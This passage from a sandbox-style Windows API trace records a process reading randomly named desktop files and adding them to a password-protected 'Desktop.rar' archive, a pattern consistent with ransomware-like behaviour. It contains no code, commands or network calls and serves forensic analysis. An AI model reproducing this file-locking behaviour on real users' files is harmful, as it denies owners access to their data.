dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0059.471] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0059.471] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0xe4d0, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0xe4d0, lpOverlapped=0x0) returned 1 [0059.472] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.472] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.472] SetFilePointer (in: hFile=0x198, lDistanceToMove=359455, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x57c1f [0059.472] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x57c1f [0059.472] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49160 [0059.472] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49190 [0059.472] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49190, Size=0x48) returned 0x34e340 [0059.472] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.473] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49190 [0059.473] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49190, Size=0x48) returned 0x34e390 [0059.473] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.473] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.473] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49190 [0059.473] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c491c0 [0059.473] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c491c0 | out: hHeap=0x290000) returned 1 [0059.473] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49190 | out: hHeap=0x290000) returned 1 [0059.473] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49160, Size=0x48) returned 0x34e340 [0059.473] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x80) returned 0x36ea60 [0059.473] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x7d, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x7d, lpOverlapped=0x0) returned 1 [0059.473] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49160 [0059.473] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x7d) returned 0x36eaf0 [0059.473] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.473] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.473] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x6616c [0059.473] CloseHandle (hObject=0x1b0) returned 1 [0059.473] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.473] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.473] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.473] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.473] FindFirstFileW (in: lpFileName="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0059.473] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0059.473] CreateFileW (lpFileName="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv" (normalized: "c:\\users\\whuoxysd\\desktop\\dfxufxjx5ywdpmih\\yeehqp1lme uexpljtb3.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.473] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.473] GetTickCount () returned 0xa6539e [0059.473] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0059.474] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0059.474] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.474] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0059.474] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="OsbsjTTafsX31mSiaRnW.ppt") returned 24 [0059.474] SetWindowTextW (hWnd=0x10216, lpString="YEeHQp1lME uExplJtB3.flv") returned 1 [0059.474] GetTickCount () returned 0xa6539e [0059.474] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.474] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0059.474] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0059.474] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0059.474] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x9f)) [0059.474] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0059.475] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=13481491407) returned 1 [0059.475] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0x8d3d, lpOverlapped=0x0) returned 1 [0059.475] ReadFile (in: hFile=0x1b0, lpBuffer=0x3798d7d, nNumberOfBytesToRead=0xf72c3, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3798d7d*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0059.475] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.475] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.475] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49190 [0059.475] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c491c0 [0059.475] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c491c0, Size=0x48) returned 0x34e390 [0059.475] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.475] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c491c0 [0059.475] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c491c0, Size=0x48) returned 0x34e340 [0059.475] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.475] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.475] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c491c0 [0059.475] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c491f0 [0059.476] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c491f0 | out: hHeap=0x290000) returned 1 [0059.476] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c491c0 | out: hHeap=0x290000) returned 1 [0059.476] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49190, Size=0x48) returned 0x34e390 [0059.476] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x80) returned 0x36ea60 [0059.476] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.476] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.477] GetTickCount () returned 0xa6539e [0059.477] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=13481696627) returned 1 [0059.477] GetTickCount () returned 0xa6539e [0059.477] GetTickCount () returned 0xa6539e [0059.477] GetTickCount () returned 0xa6539e [0059.477] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.477] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.477] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.477] ResetEvent (hEvent=0x1a4) returned 1 [0059.477] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.638] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.638] ResetEvent (hEvent=0x1a4) returned 1 [0059.638] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.639] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.639] GetTickCount () returned 0xa6544a [0059.639] GetLastError () returned 0x0 [0059.639] SetLastError (dwErrCode=0x0) [0059.639] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0059.639] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0059.639] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0059.639] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0059.640] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=13498080682) returned 1 [0059.640] GetTickCount () returned 0xa6544a [0059.640] GetLastError () returned 0x0 [0059.641] SetLastError (dwErrCode=0x0) [0059.641] GetDlgItem (hDlg=0x1020e, nIDDlgItem=154) returned 0x10220 [0059.641] GetWindowTextW (in: hWnd=0x10220, lpString=0x1bc100, nMaxCount=2560 | out: lpString="00:00:00") returned 8 [0059.641] SetWindowTextW (hWnd=0x10220, lpString="00:00:03") returned 1 [0059.641] GetTickCount () returned 0xa6544a [0059.641] GetDlgItem (hDlg=0x1020e, nIDDlgItem=162) returned 0x10222 [0059.641] ShowWindow (hWnd=0x10222, nCmdShow=9) returned 0 [0059.641] GetDlgItem (hDlg=0x1020e, nIDDlgItem=151) returned 0x10224 [0059.641] ShowWindow (hWnd=0x10224, nCmdShow=9) returned 0 [0059.642] GetLastError () returned 0x0 [0059.642] SetLastError (dwErrCode=0x0) [0059.642] GetDlgItem (hDlg=0x1020e, nIDDlgItem=151) returned 0x10224 [0059.642] GetWindowTextW (in: hWnd=0x10224, lpString=0x1bc100, nMaxCount=2560 | out: lpString="") returned 0 [0059.642] SetWindowTextW (hWnd=0x10224, lpString="00:01:02") returned 1 [0059.642] GetTickCount () returned 0xa6544a [0059.642] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1bd0d8 | out: ppv=0x1bd0d8*=0x3c49190) returned 0x0 [0059.642] TaskbarList:ITaskbarList3:SetProgressState (This=0x3c49190, hwnd=0x1020e, tbpFlags=2) returned 0x0 [0059.642] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3c49190, hwnd=0x1020e, ullCompleted=0x6e70f, ullTotal=0x954fe3) returned 0x0 [0059.642] TaskbarList:IUnknown:Release (This=0x3c49190) returned 0x0 [0059.642] GetLastError () returned 0x36b7 [0059.642] SetLastError (dwErrCode=0x36b7) [0059.642] GetDlgItem (hDlg=0x1020e, nIDDlgItem=157) returned 0x10230 [0059.642] GetDlgItem (hDlg=0x1020e, nIDDlgItem=152) returned 0x1022e [0059.642] GetWindowTextW (in: hWnd=0x1022e, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0059.642] SetWindowTextW (hWnd=0x1022e, lpString=" 4%") returned 1 [0059.643] GetLastError () returned 0x0 [0059.643] SetLastError (dwErrCode=0x0) [0059.643] GetDlgItem (hDlg=0x1020e, nIDDlgItem=164) returned 0x1022a [0059.643] GetWindowTextW (in: hWnd=0x1022a, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 60%") returned 5 [0059.643] SetWindowTextW (hWnd=0x1022a, lpString=" 92%") returned 1 [0059.643] SendMessageW (hWnd=0x10230, Msg=0x402, wParam=0x4, lParam=0x0) returned 0x0 [0059.643] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0059.643] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0059.643] GetFocus () returned 0x10232 [0059.643] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0059.643] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0059.643] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.643] ResetEvent (hEvent=0x190) returned 1 [0059.643] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.644] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.644] ResetEvent (hEvent=0x190) returned 1 [0059.644] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.645] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.645] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.645] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.645] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x6616c [0059.645] SetFilePointer (in: hFile=0x198, lDistanceToMove=125, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x661e9 [0059.645] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0059.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.645] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0059.645] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0059.645] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0059.645] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x8dd0, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0x8dd0, lpOverlapped=0x0) returned 1 [0059.646] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.646] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.646] SetFilePointer (in: hFile=0x198, lDistanceToMove=418156, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x6616c [0059.646] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x6616c [0059.646] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49190 [0059.646] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c491c0 [0059.646] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c491c0, Size=0x48) returned 0x34e340 [0059.646] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.646] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c491c0 [0059.646] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c491c0, Size=0x48) returned 0x34e390 [0059.646] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.646] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.646] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c491c0 [0059.646] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c491f0 [0059.646] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c491f0 | out: hHeap=0x290000) returned 1 [0059.646] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c491c0 | out: hHeap=0x290000) returned 1 [0059.646] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49190, Size=0x48) returned 0x34e340 [0059.646] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x80) returned 0x36ea60 [0059.646] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x7d, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x7d, lpOverlapped=0x0) returned 1 [0059.646] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49190 [0059.646] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x7d) returned 0x36eb80 [0059.646] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.646] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.646] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x6efb9 [0059.646] CloseHandle (hObject=0x1b0) returned 1 [0059.646] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.646] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.646] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.646] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.646] FindFirstFileW (in: lpFileName="e-bHwq0LPy0uA9lpR0jp.jpg", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0059.647] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0059.647] CreateFileW (lpFileName="e-bHwq0LPy0uA9lpR0jp.jpg" (normalized: "c:\\users\\whuoxysd\\desktop\\e-bhwq0lpy0ua9lpr0jp.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.647] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.647] GetTickCount () returned 0xa6544a [0059.647] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0059.647] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0059.647] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.647] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0059.647] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="YEeHQp1lME uExplJtB3.flv") returned 24 [0059.647] SetWindowTextW (hWnd=0x10216, lpString="e-bHwq0LPy0uA9lpR0jp.jpg") returned 1 [0059.647] GetTickCount () returned 0xa6544a [0059.647] UpdateWindow (hWnd=0x1020e) returned 1 [0059.647] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.647] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0059.648] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0059.648] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0059.648] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x14b)) [0059.648] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0059.648] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=13498843309) returned 1 [0059.648] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0x1154a, lpOverlapped=0x0) returned 1 [0059.649] ReadFile (in: hFile=0x1b0, lpBuffer=0x37a158a, nNumberOfBytesToRead=0xeeab6, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x37a158a*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0059.649] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.649] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.649] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c491c0 [0059.649] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c491f0 [0059.649] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c491f0, Size=0x48) returned 0x34e390 [0059.649] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.649] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c491f0 [0059.649] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c491f0, Size=0x48) returned 0x34e340 [0059.649] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.649] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.649] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c491f0 [0059.649] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49220 [0059.649] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49220 | out: hHeap=0x290000) returned 1 [0059.649] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c491f0 | out: hHeap=0x290000) returned 1 [0059.649] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c491c0, Size=0x48) returned 0x34e390 [0059.649] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0059.649] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.649] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.650] GetTickCount () returned 0xa6544a [0059.651] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=13499093119) returned 1 [0059.651] GetTickCount () returned 0xa6544a [0059.651] GetTickCount () returned 0xa6544a [0059.651] GetTickCount () returned 0xa6544a [0059.651] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.651] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.651] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.651] ResetEvent (hEvent=0x1a4) returned 1 [0059.651] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.652] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.652] ResetEvent (hEvent=0x1a4) returned 1 [0059.652] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.655] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.655] ResetEvent (hEvent=0x1a4) 